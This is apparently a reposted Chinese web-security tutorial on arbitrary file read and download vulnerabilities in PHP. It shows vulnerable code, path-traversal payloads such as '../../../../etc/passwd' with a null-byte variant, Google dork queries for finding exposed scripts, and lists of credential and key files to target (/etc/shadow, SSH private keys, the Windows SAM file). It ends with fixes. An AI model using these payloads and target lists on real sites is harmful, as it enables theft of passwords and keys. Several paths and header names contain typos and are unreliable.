1.3 任意文件查看与下载漏洞

任意文件查看与下载漏洞

漏洞介绍

一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件
不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞

利用条件

* 存在读文件的函数
* 读取文件的路径用户可控且未校验或校验不严
* 输出了文件内容

漏洞危害

下载服务器任意文件,如脚本代码、服务及系统配置文件等
可用得到的代码进一步代码审计,得到更多可利用漏洞

任意文件读取

代码形式可如下几种:
<?php
    $filename = "test.txt";
    readfile($filename);
?>
 
<?php
    $filename = "test.txt";
 
    $fp = fopen($filename,"r") or die("Unable to open file!");
    $data = fread($fp,filesize($filename));
    fclose($fp);
 
    echo $data;
?>
 
<?php
    $filename = "test.txt";
    echo file_get_contents($filename);
?>

 

任意文件下载

直接下载:
<a href="http://www.xx.com/a.zip">Download</a>
用header()下载:
<?php
    $filename = "uploads/201607141437284653.jpg";
 
    header('Content-Type: imgage/jpeg');
    header('Content-Disposition: attachment; filename='.$filename);
    header('Content-Lengh: '.filesize($filename));
?>

漏洞利用代码

readfile.php?file=/etc/passwd
readfile.php?file=../../../../../../../../etc/passwd
readfile.php?file=../../../../../../../../etc/passwd%00

Google search

inurl:"readfile.php?file="
inurl:"read.php?filename="
inurl:"download.php?file="
inurl:"down.php?file="
等等...

漏洞挖掘

可以用Google hacking或Web漏洞扫描器
从链接上看,形如:
    • readfile.php?file=***.txt
    • download.php?file=***.rar
 
从参数名看,形如:
    • &RealPath=
    • &FilePath=
    • &filepath=
    • &Path=
    • &path=
    • &inputFile=
    • &url=
    • &urls=
    • &Lang=
    • &dis=
    • &data=
    • &readfile=
    • &filep=
    • &src=
    • &menu=
    • META-INF
    • WEB-INF

敏感文件如下

Windows:
 
   C:\boot.ini  //查看系统版本
   C:\Windows\System32\inetsrv\MetaBase.xml  //IIS配置文件
   C:\Windows\repair\sam  //存储系统初次安装的密码
   C:\Program Files\mysql\my.ini  //Mysql配置
   C:\Program Files\mysql\data\mysql\user.MYD  //Mysql root
   C:\Windows\php.ini  //php配置信息
   C:\Windows\my.ini  //Mysql配置信息
   ...
 
Linux:
 
   /root/.ssh/authorized_keys
   /root/.ssh/id_rsa
   /root/.ssh/id_ras.keystore
   /root/.ssh/known_hosts
   /etc/passwd
   /etc/shadow
   /etc/my.cnf
   /etc/httpd/conf/httpd.conf
   /root/.bash_history
   /root/.mysql_history
   /proc/self/fd/fd[0-9]*(文件标识符)
   /proc/mounts
   /porc/config.gz

漏洞验证

• index.php?f=../../../../../../etc/passwd
• index.php?f=../index.php
• index.php?f=file:///etc/passwd 
 
注:当参数f的参数值为php文件时,若是文件被解析则是文件包含漏洞,
    若显示源码或提示下载则是文件查看与下载漏洞

修复方案

* 过滤.(点),使用户在url中不能回溯上级目录
* 正则严格判断用户输入参数的格式
* php.ini配置open_basedir限定文件访问范围
 

猜你喜欢

转载自www.cnblogs.com/bmjoker/p/8970022.html
1.3